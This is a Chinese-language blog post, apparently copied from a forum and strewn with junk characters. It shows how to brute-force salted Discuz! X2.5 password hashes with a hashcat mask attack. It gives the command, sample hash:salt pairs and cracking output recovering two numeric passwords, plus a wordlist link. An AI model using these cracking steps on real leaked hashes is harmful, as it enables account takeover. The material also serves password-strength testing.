爆破、破解Disduz x 2.5 md5(md5(pass)$salt)密码加密

admin

测试环境
( X/ O+ w: h4 u& o9 [7 fOS 名称: Microsoft® Windows Server® 2008 Enterprise
6 i& D$ c: ?' u/ t& R0 pOS 版本: 6.0.6001 Service Pack 1 Build 6001
$ O9 Y! Y& B4 N  U9 G, n7 \OS 制造商: Microsoft Corporation
OS 配置: 独立服务器
/ i: T; K9 M3 U" X) I) JOS 构件类型: Multiprocessor Free
注册的所有人: Windows 用户
, }1 u& [4 c% ~7 P3 K系统型号: PowerEdge R620
系统类型: x64-based PC
% H1 Q( Z) O- D! e9 L  m处理器: 安装了 1 个处理器。
7 {" Z3 _  i* M1 V[01]: Intel64 Family 6 Model 45 Stepping 7 GenuineIntel ~2400
cat md5.txt
3fb78e9bc0b297e3de4e77531766c37a:f29f95 /* = md5中无法查询的。*/
; N8 M* ], F0 w( \) M( v865a697fb9b4bd9c6737432aaff136bd:22dc87 /* = 304892415 */
15b7a21513f24ffe97d9f9830acf51ad:07626c /* = 123456 */
/* -a 使用穷举模式 -m HASH的类型是VB DISCUZ跟DV加密是一样，?d是代表数字 穷举10个数字 */ hashcat-cli64.exe -a 3 -m 2611 md5.txt ?d?d?d?d?d?d?d?d?d?d
4 y  q6 d" y8 q- HInput.Mode: Mask (?d?d?d?d?d)
Index…..: 0/1 (segment), 100000 (words), 0 (bytes)
% Y) b/ ]- O8 aRecovered.: 0/3 hashes, 0/3 salts
( ~4 V% ]/ A# q8 B$ ?Speed/sec.: – plains, – words
8 G4 B( |8 @- o3 UProgress..: 100000/100000 (100.00%)
& ?" W4 r' ]+ A# g& \Running…: –:–:–:–
Estimated.: –:–:–:–
& x6 A6 G( M- y# W* q15b7a21513f24ffe97d9f9830acf51ad:07626c:123456
1 |$ n: B! S7 RInput.Mode: Mask (?d?d?d?d?d?d)
7 o) e% H2 I- n% wIndex…..: 0/1 (segment), 1000000 (words), 0 (bytes)
Recovered.: 1/3 hashes, 1/3 salts
0 n; ^* j2 a, j6 K, Q5 a% t( RSpeed/sec.: 7.43M plains, 3.72M words
Progress..: 1000000/1000000 (100.00%)
5 p( z; i2 M  R# gRunning…: 00:00:00:01
5 U& a. _1 k2 I, z1 ZEstimated.: –:–:–:–
$ v. U' G/ N1 Q1 a+ d4 }Input.Mode: Mask (?d?d?d?d?d?d?d)
Index…..: 0/1 (segment), 10000000 (words), 0 (bytes)
Recovered.: 1/3 hashes, 1/3 salts
Speed/sec.: 13.67M plains, 6.83M words
Progress..: 10000000/10000000 (100.00%)
( L' c2 ?' `( V9 h- v1 LRunning…: 00:00:00:01
Estimated.: –:–:–:–
- ^9 Q& u. f* l5 LInput.Mode: Mask (?d?d?d?d?d?d?d?d)
Index…..: 0/1 (segment), 100000000 (words), 0 (bytes)
5 h2 T1 j/ N0 lRecovered.: 1/3 hashes, 1/3 salts
+ y& B+ t2 t( o7 c, N0 ^Speed/sec.: 18.59M plains, 9.29M words
Progress..: 100000000/100000000 (100.00%)
5 h: q6 _7 U" [9 q5 JRunning…: 00:00:00:11
+ j$ V. E* N, Q. \( jEstimated.: –:–:–:–
865a697fb9b4bd9c6737432aaff136bd:22dc87:304892415
4 B8 R# s. Z6 u# b. L5 @8 N. `可以看到破解 9位3开纯数字密码需要11秒。
4 [1 i' e1 O, j$ i# SInput.Mode: Mask (?d?d?d?d?d?d?d?d?d?d)
Index…..: 0/1 (segment), 10000000000 (words), 0 (bytes)
Recovered.: 2/3 hashes, 2/3 salts
% E" x7 K% q+ G0 v- G) a/ oSpeed/sec.: 12.70M plains, 12.70M words
6 ?8 y3 o% D1 i! w6 nProgress..: 10000000000/10000000000 (100.00%)
+ d/ {: l( g) w6 v) }Running…: 00:00:13:07
Estimated.: –:–:–:–
! ^. G  e3 W. U  B而10个数字即需要13分钟，这样的速度如果有服务器是8核或更多，或者自己GPU强劲，会更加快，我测试只是用了一个入门级的CPU。
0 L/ R# |% N; u0 K% G2 M8 O  n% X在这里可以下载到一些字典，不过国人对这些字典貌似无视。
http://blog.g0tmi1k.com/2011/06/dictionaries-wordlists.html